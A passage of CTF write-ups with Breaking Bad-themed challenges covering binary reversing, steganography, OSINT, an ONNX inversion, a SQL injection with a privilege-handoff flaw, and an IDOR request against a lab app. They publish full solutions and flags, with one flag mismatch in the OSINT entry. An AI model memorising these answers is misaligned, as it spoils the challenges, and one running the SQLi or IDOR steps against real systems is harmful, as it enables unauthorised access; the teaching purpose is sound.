     |
     v
Second transformation
     |
     v
Third transformation
     |
     v
Result
     |
     v
Comparison with target

There is also a decoy calculation which does not affect the final result.


3. Find the First Mathematical Function

Follow the function that receives the shipment ID and batch number.

After simplifying some of the encoded constants, you will find:

1
2
x = shipmentID - 12;
y = batchNumber - 45;

The next calculation looks more complicated:

1
2
3
4
p = (x + y) * (x + y);
q = (x - y) * (x - y);

distance = (p + q) >> 1;

The important observation is:

1
((x + y)^2 + (x - y)^2) / 2

Expanding this:

1
2
3
(x + y)^2 = x^2 + 2xy + y^2

(x - y)^2 = x^2 - 2xy + y^2

Adding them:

1
2x^2 + 2y^2

Dividing by 2:

1
x^2 + y^2

Therefore the first stage is equivalent to:

1
d = (shipmentID - 12)^2 + (batchNumber - 45)^2

This is the first important mathematical observation.


4. Reverse the Second Stage

Follow the value returned from the first function.

The next function performs:

1
z = (7 * d^2 + 13 * d + 97) % 10007

So the pipeline is now:

1
2
3
4
5
6
7
Shipment ID + Batch Number
            |
            v
            d
            |
            v
            z

5. Reverse the Third Stage

The next function performs:

1
k = (z^3 + 17*z^2 + 43*z + 7) % 65537

It then performs an XOR operation:

1
result = k XOR 0x5A17

Therefore the complete transformation is:

1
2
3
4
5
6
7
8
9
10
d
 |
 v
z = (7*d^2 + 13*d + 97) % 10007
 |
 v
k = (z^3 + 17*z^2 + 43*z + 7) % 65537
 |
 v
result = k XOR 0x5A17

6. Find the Target Value

Return to main() and inspect the comparison:

1
if (result == target)

Follow the function responsible for generating target.

Instead of storing the target directly, the binary constructs it from several constants.

After simplifying the operations, the target calculation becomes:

1
2
3
x = 0x91C3 XOR 0x4A27
x = x + 0x1234
target = x XOR 0x1B58

Calculate the first operation:

1
0x91C3 XOR 0x4A27 = 0xDBE4

Then:

1
0xDBE4 + 0x1234 = 0xEE18

Finally:

1
0xEE18 XOR 0x1B58 = 0xF540

Therefore:

1
Target = 0xF540

The mathematical pipeline must produce 0xF540.


7. Solve for the Inputs

We now have the important equation:

1
d = (shipmentID - 12)^2 + (batchNumber - 45)^2

The intended solution is:

1
2
shipmentID = 67
batchNumber = 40

Substitute these values:

1
d = (67 - 12)^2 + (40 - 45)^2
1
d = 55^2 + (-5)^2
1
d = 3025 + 25

Therefore:

1
d = 3050

Now calculate the next stage:

1
z = (7 * 3050^2 + 13 * 3050 + 97) % 10007

This gives:

1
z = 1670

Next:

1
k = (1670^3 + 17 * 1670^2 + 43 * 1670 + 7) % 65537

giving:

1
k = 44887

Finally:

1
44887 XOR 0x5A17 = 0xF540

This matches the target recovered from the binary.

Therefore:

1
2
Shipment ID  = 67
Batch Number = 40

8. Follow the Successful Branch

Now inspect what happens when:

1
result == target

is true.

The program calls another function which contains an array of seemingly random bytes.

There is no readable flag stored in the array.

This is the final stage of the challenge.


9. Reverse the Flag Key

Inside the flag-processing function, look at how the decryption key is generated.

The relevant logic is equivalent to:

1
key = (d & 255) XOR (z >> 4) XOR (result >> 8) XOR 0xA7

For the correct values:

1
2
3
d      = 3050
z      = 1670
result = 0xF540

Calculate:

1
3050 & 255 = 0xEA
1
1670 >> 4 = 0x68
1
0xF540 >> 8 = 0xF5

Therefore:

1
key = 0xEA XOR 0x68 XOR 0xF5 XOR 0xA7

which gives:

1
key = 0xD0

10. Decrypt the Flag

The program XORs every byte in the encrypted array with 0xD0.

Conceptually:

1
2
for each byte:
    plaintext = encrypted_byte XOR 0xD0;

Doing this reveals:

1
CYS{you_godamn_wright!}

The plaintext flag is therefore never stored directly in the executable.


11. Verify the Solution

Run the executable and enter:

1
2
Enter shipment ID: 67
Enter batch number: 40

The program reaches the successful branch and decrypts the embedded message.

Final flag:

1
CYS{you_godamn_wright!}

12. Ghidra Workflow Summary

The intended solving process is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Import EXE
    |
    v
Run Ghidra analysis
    |
    v
Open main()
    |
    v
Trace Shipment ID + Batch Number
    |
    v
Follow the mathematical functions
    |
    v
Recognize the disguised distance calculation
    |
    v
Recover d -> z -> k -> result
    |
    v
Find target reconstruction
    |
    v
Recover target = 0xF540
    |
    v
Solve for Shipment ID = 67
Batch Number = 40
    |
    v
Follow successful branch
    |
    v
Find encrypted byte array
    |
    v
Reverse key generation
    |
    v
Recover key = 0xD0
    |
    v
XOR encrypted bytes
    |
    v
CYS{you_godamn_wright!}

Final Solution

Shipment ID: 67

Batch Number: 40

Flag:

1
CYS{you_godamn_wright!}

Flag

CYS{you_godamn_wright!}

Los Pollos Employee Vault

Los Pollos Employee Vault

Author: Vitul

This is a web-based CTF challenge demonstrating a SQL injection vulnerability chained with an insecure privilege-handoff mechanism.

For the SQLi part:

The only injectable endpoint is the legacy directory search, /employees?q=. Every other query in the application is parameterized, so this is the sole entry point.

We craft a six-column UNION-based SQL injection against /employees?q= to enumerate the users table. Note that SQLite executes only a single statement per query, so stacked write statements are not possible here — the injection is read-only.

Using this, we’re able to dump the employee directory and identify that Gustavo Fring holds the role of manager.

For the privilege-handoff part:

Knowing Gustavo is a manager isn’t enough on its own — the runtime flag isn’t revealed by the SQLi alone. We follow the intended chain:

Directory SQLi → Gus is manager → Audit: Vault-03 → Production: Batch 753 → Gustavo’s verified handoff → Vault-03 session grant → /vault

We review the Audit section, where Vault-03 is referenced, then check Production and locate Batch 753. Combining the directory-reconciled manager evidence (Gustavo) with the Audit and Production review completed in the current session lets us trigger Gustavo’s verified handoff.

The server cross-checks this against the matching database records, then grants a Vault-03 session — this does not upgrade our role to manager, it simply grants scoped access to Vault-03.

With this session grant, we can access /vault, which accepts either a real manager account or a valid Vault-03 session grant, and the flag is rendered at runtime once vault authorization succeeds.

The vulnerability is a combination of SQL injection (unparameterized query on /employees?q=) and an overly trusting server-side delegation mechanism that grants vault access based on reconciled evidence rather than a properly scoped, short-lived credential.

Remediation: Parameterize the directory search endpoint, suppress verbose database errors, and remove the legacy handoff mechanism entirely. Where delegation between roles is genuinely required, it should be implemented server-side, short-lived, and narrowly scoped to the specific resource.

Flag

CYS{Dynamic}

Los Stegos Hermanos

Los Stegos Hermanos

Author: Utkarsh Raj

Description

A set of images and an audio file were provided. At first, most of them looked like normal media files, but each one contained a small clue pointing towards another file.

There were also a couple of decoy paths with fake flags, so blindly extracting everything was not enough.

The final flag was:

CYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813}

Initial Enumeration

Start by identifying the supplied files:

file *

This showed:

  • 01.jpeg — JPEG
  • 02.png — PNG
  • 03.jpg — JPEG
  • 04.jpeg — JPEG
  • 05.png — palette-based PNG
  • audio.wav — WAV audio

05.png immediately stood out because it used an 8-bit colour palette.

1. Palette Manipulation — 05.png

Check the PNG:

identify -verbose 05.png | grep -E "Type:|Colors:|Depth:"

It showed:

Type: Palette
Depth: 8-bit

Instead of only looking at the colours themselves, inspect consecutive palette entries and look for repeated runs.

A small Python script was used to compare neighbouring palette entries.

The interesting result was:

17 33 17

meaning palette entries 17 through 33 all contained the same RGB value.

There was another shorter repeated run at 240–242, which acted as a distraction.

The unusual run length gives the first clue:

17

2. Histogram — 03.jpg

The value 17 was used as a ranking rather than as a pixel value.

Convert the image to grayscale and count the frequency of every grayscale value:

`python3 - «‘PY’ from PIL import Image from collections import Counter

img = Image.open(“03.jpg”).convert(“L”) h = Counter(img.getdata())

for rank, (value, count) in enumerate( sorted(h.items(), key=lambda x: x[1], reverse=True), 1 ): if rank <= 25: print(rank, value, count) PY`

The 17th most frequent value was:

17 22 18330

So the next clue was:

22

3. Image Dimensions — 02.png

The next image was 02.png.

Check its dimensions:

identify 02.png

It was:

1000 x 664

Use the previous clue as the modulus:

1000 % 22 = 10
664 % 22 = 4

This gives the coordinate:

(10,4)

4. Pixel as ASCII — 02.png

Read the RGB value at that coordinate:

`python3 - «‘PY’ from PIL import Image

img = Image.open(“02.png”).convert(“RGB”) p = img.getpixel((10,4))

print(“RGB:”, p) print(“ASCII:”, ““.join(chr(x) for x in p)) PY`

The result was:

RGB: (83, 84, 65)

Those values correspond to ASCII:

83 = S
84 = T
65 = A

giving:

STA

This was the beginning of the next instruction, pointing towards the START / QTABLE stage.

5. JPEG Quantization Table — 04.jpeg

The next target was 04.jpeg.

JPEG quantization tables can be inspected directly with Pillow:

`python3 - «‘PY’ from PIL import Image

img = Image.open(“04.jpeg”)

for table, values in img.quantization.items(): print(“TABLE”, table) print(“POSITION 29:”, values[29]) PY`

The relevant table was table 0.

At position 29:

QTABLE[29] = 37

So the next clue was:

37

6. Audio / Spectrogram

There was also an audio file:

audio.wav

Playing it normally did not reveal a useful spoken message. The useful information was hidden in its spectrogram.

Opening the WAV in Audacity and switching the track to Spectrogram view revealed:

HEY YO! NEW COMPETITION

and:

QTABLE 29

This acted as a confirmation for the quantization-table stage rather than being a separate route to the flag.

7. Palette Index 37

Return to 05.png and inspect palette index 37.

The important observation is that the previous clue, 37, is specifically a palette index.

The PNG also contained a custom ancillary chunk holding the final encrypted payload.

A small textual clue was included in the PNG:

Palette37=CHUNK

This tells the solver that the palette result should lead to inspection of the PNG chunks.

The custom chunk was named:

cYSd

It contained 46 encrypted bytes.

8. Recovering the Payload

The payload was XOR encrypted with the key:

1722362937

The encrypted bytes from the custom PNG chunk were XORed against this key repeatedly.

Conceptually:

plaintext[i] = ciphertext[i] XOR key[i % len(key)]

This produced the final flag.

Decoy Paths

There were also deliberate false leads.

01.jpeg

file 01.jpeg

revealed a JPEG comment containing:

CYS{m3t4d4t4_l13s}

This was a fake flag.

It was useful as an early distraction, but it did not connect to the other clues.

03.jpg

binwalk 03.jpg

revealed an embedded ZIP archive.

Extracting it produced another fake flag:

CYS{c0mpr3ss10n_1s_n0t_th3_4nsw3r}

This was another dead end.

The presence of real embedded data made the decoy more convincing, but it did not contribute to the actual chain.

Final Flag

After following the connected clues:

05.png → 17

03.jpg histogram → 22

02.png dimensions → (10,4)

02.png pixel → STA

04.jpeg QTABLE[29] → 37

05.png palette 37 → custom PNG chunk

XOR key → 1722362937

the final flag is:

CYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813}

Flag

CYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813}

OffRecord

OffRecord

Author: Sagnik

This challenge is a combination of image steganography, QR extraction, metadata clues, Breaking Bad trivia, Base64, and XOR.

The intended solve path is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PNG
 ↓
EXIF metadata
 ↓
Blue-channel LSB
 ↓
Hidden QR
 ↓
Base64 ciphertext
 ↓
Breaking Bad trivia
 ↓
XOR
 ↓
FLAG

Firstly, inspect the image metadata

We can use:

1
exiftool challenge.png

The relevant metadata contains:

1
2
3
Image Description : The model is written continuously.
Artist            : Walter H.
User Comment      : Some reactions are exclusive.

The two important clues are:

1
2
The model is written continuously.
Some reactions are exclusive.

The first clue tells us how the eventual key should be formatted.

The second clue hints at the cryptographic operation.

Inspect the image for steganography

Since the challenge involves image steganography, we can inspect the PNG bit planes.

For example:

1
zsteg challenge.png

The hidden QR is stored in the:

1
2
Blue channel
Bit 0 (LSB)

The QR is not directly visible in the original image.

The relevant pixels can be extracted by taking:

1
bit = blue_channel_pixel & 1

and reconstructing the corresponding region as a black-and-white image.

The resulting image contains the hidden QR code.

Decode the QR code

After extracting the QR region, decode it using a QR decoder.

The QR contains:

1
CxYcLQcXHhUHFA0VHggXDQ8EBBAGAB8aGQEQBgodGngETQ==

This looks like Base64.

Decode it:

1
echo 'CxYcLQcXHhUHFA0VHggXDQ8EBBAGAB8aGQEQBgodGngETQ==' | base64 -d

The result is binary data rather than readable text.

This means Base64 is only an encoding layer and there is still another operation to reverse.

Solve the Breaking Bad clue

The visible image contains the question:

Which vacuum cleaner’s dust filter do I need to disappear?

This references the vacuum cleaner/disappearance service from Breaking Bad and Better Call Saul.

The relevant model is:

1
Hoover Max Extract Pressure Pro, Model 60

The EXIF clue says:

1
The model is written continuously.

Therefore remove spaces and punctuation and use one continuous uppercase string:

1
HOOVERMAXEXTRACTPRESSUREPROMODEL60

This is the key.

Identify XOR

The second EXIF clue says:

1
Some reactions are exclusive.

The word “exclusive” points toward:

1
XOR = Exclusive OR

The encryption process is:

1
2
3
4
5
6
7
FLAG
 ↓
XOR with key
 ↓
Base64
 ↓
QR

So we reverse it:

1
2
3
4
5
6
7
8
9
QR
 ↓
Base64
 ↓
Base64 decode
 ↓
XOR with key
 ↓
FLAG

Decrypt the ciphertext

The ciphertext is:

1
CxYcLQcXHhUHFA0VHggXDQ8EBBAGAB8aGQEQBgodGngETQ==

The key is:

1
HOOVERMAXEXTRACTPRESSUREPROMODEL60

After Base64 decoding and XORing the resulting bytes with the key, the plaintext is:

1
CYS{BEST_QUALITY_VACUUM_IS_KEY_42}

Complete solve chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
                         challenge.png
                              |
                 +------------+------------+
                 |                         |
                 v                         v
             EXIF data                 Image data
                 |                         |
        +--------+--------+                |
        |                 |                v
        v                 v          Blue-channel LSB
 "written continuously" "exclusive"       |
        |                 |                v
        |                 |          Hidden QR
        |                 |                |
        |                 |                v
        |                 |          Base64 text
        |                 |                |
        +--------+--------+----------------+
                 |
                 v
       Hoover Max Extract Pressure
             Pro Model 60
                 |
                 v
HOOVERMAXEXTRACTPRESSUREPROMODEL60
                 |
                 v
             XOR decrypt
                 |
                 v
                FLAG

Final Flag

1
CYS{BEST_QUALITY_VACUUM_IS_KEY_42}

Flag

CYS{BEST_QUALITY_VACUUM_IS_KEY_42}

Project Mirage

Project Mirage

Author: Shubh

This is a standalone web-based CTF challenge demonstrating a Broken Object Level Authorization (BOLA / IDOR) vulnerability.

The application, DeployBox, simulates a deployment dashboard where logged-in users can view details about their own workspace’s deployments.

First, we access the login page

The application provides a login form. Use the credentials provided with the challenge:

Username: Shubh
Password: greatguy

After logging in, we land on the Dashboard.

Finding the vulnerable API

On the Dashboard, we click “View deployment” on one of our own deployments. Opening DevTools -> Network while doing this reveals the request the frontend makes to fetch deployment details:

GET /api/v1/deployments/dep_xxxxxx

This confirms the app fetches deployment data client-side by ID, via a REST-style endpoint.

Finding another workspace’s deployment ID

Next, we go to the Activity page. This page lists recent deployment activity, including deployment IDs — and on inspection, not all of these IDs belong to our own workspace. One (or more) of them belongs to a different workspace entirely.

We take note of this “foreign” deployment ID, for example:

dep_63d0c9

Exploiting the IDOR

We now substitute this foreign ID directly into the API endpoint discovered earlier:

GET /api/v1/deployments/dep_63d0c9

The server does not verify that the requesting user’s workspace owns the requested deployment ID — it simply looks up the deployment by ID and returns its data, regardless of ownership.

The response includes full deployment details belonging to another workspace, including a release_note field containing the flag.

Root cause

The vulnerability is a Broken Object Level Authorization (BOLA), a specific case of IDOR. The application exposes an internal, enumerable/guessable object identifier (the deployment ID) and trusts the client to only ever request IDs it’s authorized to see:

/api/v1/deployments/

The server retrieves whatever deployment matches the given ID without checking that it belongs to the authenticated user’s workspace.

Note: Deployment IDs (and therefore the flag) are randomly generated per challenge instance/restart, so the exact ID and flag value will differ across runs — only the CTF{…} format is fixed.

Summary

Login -> find deployment-fetching API via Network tab -> find a foreign deployment ID via Activity page -> request it via the API -> flag is returned in release_note.

Flag

CYS{Dynamic}

Project To'hajiilee

Project To’hajiilee

Author: Joeliyn

This is a steganography-based CTF challenge demonstrating Least Significant Bit (LSB) steganography.

The challenge provides a PNG image with a secret message hidden inside the least significant bits of the Red channel. Since modifying the LSB of a pixel channel changes its value by at most 1, the modification is not noticeable to the human eye.

Firstly, we can inspect the metadata of the provided image using:

exiftool challenge_1.png

The comment in the metadata gives us a useful hint:

LSB secret hidden in Red channel (RGB -> R_LSB). Reads top-left to bottom-right until null byte.

This tells us that the secret is hidden in the LSBs of the Red channel.

Instead of manually extracting the LSBs, we can use zsteg, a tool commonly used for detecting hidden data in PNG and BMP images.

We run:

zsteg challenge_1.png

The output reveals hidden data in the Red channel LSB plane. We can then extract the data using:

zsteg -E b1,r challenge_1.png

Here, b1 refers to the least significant bit plane and r specifies the Red channel.

The extracted data gives us the flag:

CYS{34_59_20_106_36_52_custom_l5b_3ncrypt10n_m4ster}

The challenge demonstrates how information can be hidden inside image pixels using LSB steganography. Since only the least significant bit of the Red channel is modified, the resulting image looks practically identical to the original while still containing the hidden message.

Flag

CYS{34_59_20_106_36_52_custom_l5b_3ncrypt10n_m4ster}

Residual

Residual

Author: Manasa

This is a Breaking Bad-themed reverse-engineering CTF challenge involving a stripped Linux ELF binary, encoded runtime checks, a fake flag, self-inspection through /proc/self/exe, a custom .x9 section, and a reversible byte transformation.

The goal is to satisfy the binary’s filename, environment-variable, and command-line checks, analyze the generated dead drop, and recover the real flag.

1. What We Receive

The challenge gives us one executable:

1
memory

The flag format is:

1
CYS{...}

The challenge story tells us that the binary came from an abandoned lab and that previous analysts recovered conflicting answers. That is our first warning: the first flag we see may be a bad batch.


2. Identify the File

Start with the normal first command for an unknown binary:

1
file memory

We should see something similar to:

1
memory: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped

This tells us that it is a 64-bit Linux ELF and that symbols have been stripped. In Ghidra, many functions will therefore appear with generic names such as FUN_... rather than useful original names.

If the executable bit was lost during download:

1
chmod +x memory

3. Run It Normally

Execute:

1
./memory

We get:

1
2
3
The cook enters the lab...
Alias accepted.
The blue formula is missing a signal.

There are already two useful clues here.

Alias accepted. suggests that the program checks the name it is running under, while missing a signal suggests another external condition is required.


4. Check Printable Strings

Run:

1
strings memory | less

Search specifically for flag-shaped strings:

1
strings memory | grep 'CYS{'

We find:

1
CYS{crystal_blue_is_too_obvious}

This is intentionally tempting, but it is a fake flag. The wording itself is a hint that an obvious blue crystal is not necessarily a clean batch.

Submitting it fails, so we need to reverse the executable rather than trust strings.

We can also check for obvious secrets:

1
2
3
strings memory | grep SIGNAL
strings memory | grep MIRROR
strings memory | grep -- '--listen'

The important values are not stored directly in plaintext.


5. Open the Binary in Ghidra

Start Ghidra:

1
ghidra

Then create a non-shared project and import memory:

1
File → Import File → memory

Accept the detected ELF format, open the program, click Yes when Ghidra asks to analyze it, and keep the default analyzers enabled.

Because the file is stripped, focus on what functions do, not their names.


6. Start From main

Locate main and inspect the decompiled control flow.

Conceptually it performs several checks:

1
2
3
4
5
6
7
8
9
print lab message
    ↓
check executable identity
    ↓
check environment
    ↓
check command-line argument
    ↓
produce dead drop

Work through those checks one at a time.


7. Recover the Expected Filename

The first validation routine uses argv[0], which normally contains the path/name used to launch the program.

Inside that routine, an encoded byte array is transformed and compared against the basename of argv[0] using strcmp().

Reversing the small transformation gives:

1
memory

The supplied challenge file already has that name, which explains:

1
Alias accepted.

We can prove the check exists:

1
2
3
cp memory test
chmod +x test
./test

Now the program says:

1
2
The cook enters the lab...
This alias does not belong in the lab.

Remove the copy:

1
rm test

8. Investigate the Missing Signal

The next failed message is:

1
The blue formula is missing a signal.

In Ghidra, follow the next validation function. It eventually calls:

1
getenv()

That tells us the program expects an environment variable.

The variable name is reconstructed from encoded bytes. Reversing that decoder gives:

1
SIGNAL

The returned value is compared against another reconstructed string:

1
MIRROR

Therefore the required environment is:

1
SIGNAL=MIRROR

Test it without permanently exporting anything:

1
SIGNAL=MIRROR ./memory

Now we get:

1
2
3
4
The cook enters the lab...
Alias accepted.
Signal locked. The batch is getting cleaner.
You are not listening to the lab carefully enough.

So the environment check is solved.


9. Recover the Required Argument

Continue through main in Ghidra.

The next check operates on argv[1]. Another encoded array is transformed and compared against the argument.

Reversing the transformation gives:

1
--listen

So the intended execution is:

1
SIGNAL=MIRROR ./memory --listen

Run it:

1
2
3
4
5
The cook enters the lab...
Alias accepted.
Signal locked. The batch is getting cleaner.
Cook complete. Package the evidence.
Dead drop: b37a61397fc78d045c6a702fb50ddc0b029817065e948361683f165d

We have reached the correct execution path, but the dead drop is hexadecimal data rather than the flag.


10. Find the Dead-Drop Function in Ghidra

Search Ghidra for the string:

1
Dead drop:

Use either the Defined Strings window or:

1
Search → For Strings

Find Dead drop: and follow its XREF. An XREF tells us which function references that string.

That function builds several internal fragments, combines them, passes the result through a final byte transformation, and prints each transformed byte as two hexadecimal digits.

This is the function we need to understand.


11. Recover the First Flag Fragment

One small function contains these bytes:

1
52 4b 40 6f

The decompiled loop is equivalent to:

1
out[i] = data[i] ^ (0x11 + i);

Decode them:

1
2
3
4
0x52 XOR 0x11 = 0x43 = C
0x4b XOR 0x12 = 0x59 = Y
0x40 XOR 0x13 = 0x53 = S
0x6f XOR 0x14 = 0x7b = {

So fragment 1 is:

1
CYS{

That confirms we have found the real flag reconstruction path.


12. Recover the Second Fragment

Another function contains:

1
6b 64 69 78 6d 85 7c 7c 79 8c 8e

The transformation is:

1
out[i] = data[i] - ((i * 3) + 2);

Instead of doing all 11 bytes manually, reproduce it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat > part2.py <<'PY'
data = [
    0x6b, 0x64, 0x69, 0x78, 0x6d, 0x85,
    0x7c, 0x7c, 0x79, 0x8c, 0x8e
]

result = []
for i, value in enumerate(data):
    result.append(value - ((i * 3) + 2))

print(bytes(result).decode())
PY

python3 part2.py

Output:

1
i_am_the_on

So far:

1
CYS{i_am_the_on

13. Notice That the Third Fragment Depends on Something Else

The third fragment function contains:

1
45 7e 51 4f 4b 7f 4a 48 48 47 4b 52 5b

But unlike the first two fragments, its key depends on the return value of another function.

Follow that function.

You will encounter imports such as:

1
2
3
4
readlink
fopen
fread
fseek

The program is reading a file and parsing data from it.


14. Discover That the Binary Reads Itself

The path passed to readlink() is itself reconstructed from encoded bytes.

Decoding it gives:

1
/proc/self/exe

On Linux, /proc/self/exe points to the currently running executable.

So the cook is literally inspecting its own recipe.

The program opens its own ELF file and begins parsing ELF structures.


15. Find the Custom ELF Section

The self-reading routine reads:

1
2
3
ELF header
section headers
section-name string table

It reconstructs another short string and searches the section table for it.

That section name is:

1
.x9

Confirm it from the terminal:

1
readelf -S memory | grep '\.x9'

Then dump the section:

1
readelf -x .x9 memory

The important 32 bytes are:

1
2
3
4
91 2f c4 77 18 a3 5d e1
42 9b 06 d8 31 af 64 be
73 0c f1 55 28 99 b2 47
da 11 6e 83 3c f7 20 51

They are not text. They are input to a custom rolling mixer.


16. Reproduce the .x9 Mixer

The relevant decompiled function behaves like:

1
2
3
state = 0;
for each byte:
    state = (state * 33) ^ byte;

The state is one byte, so keep only the low 8 bits.

Create:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat > x9.py <<'PY'
data = [
    0x91, 0x2f, 0xc4, 0x77, 0x18, 0xa3, 0x5d, 0xe1,
    0x42, 0x9b, 0x06, 0xd8, 0x31, 0xaf, 0x64, 0xbe,
    0x73, 0x0c, 0xf1, 0x55, 0x28, 0x99, 0xb2, 0x47,
    0xda, 0x11, 0x6e, 0x83, 0x3c, 0xf7, 0x20, 0x51
]

state = 0
for value in data:
    state = ((state * 33) ^ value) & 0xff

print("self key =", hex(state))
print("low nibble =", hex(state & 0x0f))
PY

python3 x9.py

Output:

1
2
self key = 0xaa
low nibble = 0xa

Therefore:

1
2
self_key = 0xAA
derived = 0x0A

17. Decode the Third Fragment

The decoder uses:

1
key = (0x2A + (i % 5)) XOR derived

with:

1
derived = 0x0A

Create:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat > part3.py <<'PY'
data = [
    0x45, 0x7e, 0x51, 0x4f, 0x4b, 0x7f, 0x4a,
    0x48, 0x48, 0x47, 0x4b, 0x52, 0x5b
]

derived = 0x0a
base = 0x2a
result = []

for i, value in enumerate(data):
    key = (base + (i % 5)) ^ derived
    result.append(value ^ key)

print(bytes(result).decode())
PY

python3 part3.py

Output:

1
e_who_knocks}

The internal message therefore becomes:

1
CYS{i_am_the_one_who_knocks}

But the program does not print this plaintext. It passes it through one more transformation before producing the dead drop.


18. Understand the Final Transformation

The final routine uses the .x9 key again:

1
self_key = 0xAA

The seed is:

1
seed = ((self_key XOR 0x63) + 7) & 0xFF

Calculate it:

1
2
3
4
5
python3 - <<'PY'
self_key = 0xaa
seed = ((self_key ^ 0x63) + 7) & 0xff
print(hex(seed))
PY

Output:

1
0xd0

For each plaintext byte at index i, the binary then performs:

1
2
3
1. XOR with seed + (i * 5)
2. rotate left by 3 bits
3. add (i XOR 0x17)

Encoding direction:

1
plaintext → XOR → ROL 3 → addition → dead-drop byte

To recover the plaintext, reverse the order:

1
dead-drop byte → subtraction → ROR 3 → XOR → plaintext

19. Write the Final Solver

Use the dead drop printed by the program:

1
b37a61397fc78d045c6a702fb50ddc0b029817065e948361683f165d

Create:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat > solve.py <<'PY'
transmission = "b37a61397fc78d045c6a702fb50ddc0b029817065e948361683f165d"

data = bytes.fromhex(transmission)
self_key = 0xaa
seed = ((self_key ^ 0x63) + 7) & 0xff


def ror8(value, bits):
    return ((value >> bits) | (value << (8 - bits))) & 0xff


result = []

for i, value in enumerate(data):
    value = (value - (i ^ 0x17)) & 0xff
    value = ror8(value, 3)
    value ^= (seed + (i * 5)) & 0xff
    result.append(value)

print(bytes(result).decode())
PY

python3 solve.py

Output:

1
CYS{i_am_the_one_who_knocks}

Final Flag

1
CYS{i_am_the_one_who_knocks}

Full Intended Solve Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
memory
  ↓
file / strings
  ↓
CYS{crystal_blue_is_too_obvious}  ← fake batch
  ↓
Ghidra
  ↓
argv[0] → memory
  ↓
getenv() → SIGNAL=MIRROR
  ↓
argv[1] → --listen
  ↓
SIGNAL=MIRROR ./memory --listen
  ↓
Dead drop: b37a...
  ↓
follow Dead drop XREF
  ↓
self-reading through /proc/self/exe
  ↓
ELF section .x9
  ↓
rolling mixer → 0xAA
  ↓
reverse final byte transformation
  ↓
CYS{i_am_the_one_who_knocks}

The challenge is designed so both static and dynamic approaches are valid. A strong reverser can reproduce every deterministic value without relying on hidden server-side secrets.

Flag

CYS{i_am_the_one_who_knocks}

Reverse Image Trail — Episode 3

Reverse Image Trail — Episode 3

Author: Yukti Kapoor

This is an OSINT/Web-based CTF challenge where participants must identify the real-world restaurant shown in a cropped photograph, distinguish it from its fictional representation in Breaking Bad and Better Call Saul, and use the correct real-world name to unlock the flag.

The Misdirection:

Participants are given a cropped photo of a fast-food storefront in Albuquerque, New Mexico. The storefront is presented as “Los Pollos Hermanos”, Gustavo Fring’s fictional fried-chicken chain and money-laundering front in Breaking Bad and Better Call Saul.

However, the real restaurant operating at the location is called Twisters Burgers & Burritos.

The restaurant at 4257 Isleta Blvd SW, Albuquerque is actually Twisters Burgers & Burritos, a New Mexican-cuisine chain founded in 1998. It serves burgers, burritos, and green chile rather than fried chicken.

The “Los Pollos Hermanos” name, logo, and chicken menu exist only within the show’s fiction.

Step 1 — Identify the clue:

We begin with the provided handout image:

handout/clue_03.jpg

We can perform a reverse image search using tools such as Google Lens or TinEye.

Step 2 — Spot the mismatch:

The search results surface both “Los Pollos Hermanos” fan content and genuine news/travel coverage identifying the real business as Twisters.

This is the key part of the challenge: the first identification should not be trusted blindly.

The correct answer is the real name of the restaurant, rather than the fictional name used in the shows.

The same real-world location was reused as Los Pollos Hermanos across Breaking Bad and Better Call Saul, with an appearance in the film El Camino as well.

Step 3 — Unlock the archive:

We visit the hosted archive page and submit the normalized answer:

twisters

The answer is normalized by converting it to lowercase and removing non-alphanumeric characters.

Step 4 — Flag delivery:

Once the correct answer is submitted, the client-side JavaScript decodes a Base64-encoded string and displays the flag.

The relevant logic is:

function normalize(s) { return s.toLowerCase().replace(/[^a-z0-9]/g, “”); }

function checkAnswer() { var userAnswer = normalize(document.getElementById(“answerBox”).value); var correct = “twisters”;

if (userAnswer === correct) { var encoded = “Q1RGe3R3MXN0M3JzX24wdF9wMGxsMHN9”; document.getElementById(“flagOutput”).innerHTML = “Record unlocked. Flag: “ + atob(encoded); } }

The Base64-encoded value:

Q1RGe3R3MXN0M3JzX24wdF9wMGxsMHN9

decodes to:

CYS{tw1st3rs_n0t_p0ll0s}

The organizer-side build process is handled by backend_generator.py. It strips metadata from the source photo, Base64-encodes the flag, and injects the required values into index_template.html to generate index.html.

Learning Outcome:

This challenge demonstrates the importance of verifying an identification rather than trusting the first confident-looking search result or fan-page label.

It also teaches participants to:

  • Distinguish fictional, in-universe branding from the real business operating at a physical location.
  • Practice reverse-image-search-based OSINT.
  • Understand a simple client-side flag-gating mechanism using encoding.
  • Recognize the limitations of client-side flag protection.
  • Build a research chain using multiple independent sources instead of relying on a single result.

Final flag:

CYS{tw1st3rs_n0t_p0ll0s}

Flag

CTF{tw1st3rs_n0t_p0ll0s}

Say My Name

Say My Name

Author: KuantumKnight

The challenge provides an ONNX model as the main artifact. The flag is not directly present in the model; instead, it is encoded as an input that produces a specific output through an auxiliary branch of the neural network.

Firstly, we inspect the structure of the ONNX model.

The graph contains a shared Gemm -> Tanh feature extractor and a normal four-class classification head. There is also an additional fifth logit calculated using a distance from a hidden target representation.

The relevant computation can be represented as:

1
2
3
4
5
h(x) = tanh(Ax + b)

d(x) = ||h(x) - target||²

score_4(x) = 18 - 2500*d(x)

The useful tensors are stored in the model initializers:

1
2
3
fc1.weight → 48×32 matrix A
fc1.bias   → bias vector b
buffer_0    → hidden target representation

The player input is normalized as:

1
x = raw / 255

Since the matrix A has full column rank, we can invert the Tanh operation using arctanh and solve the resulting linear system using least squares.

Starting from:

1
target = tanh(Ax + b)

we apply arctanh:

1
arctanh(target) = Ax + b

Therefore:

1
x = lstsq(A, arctanh(target) - b)

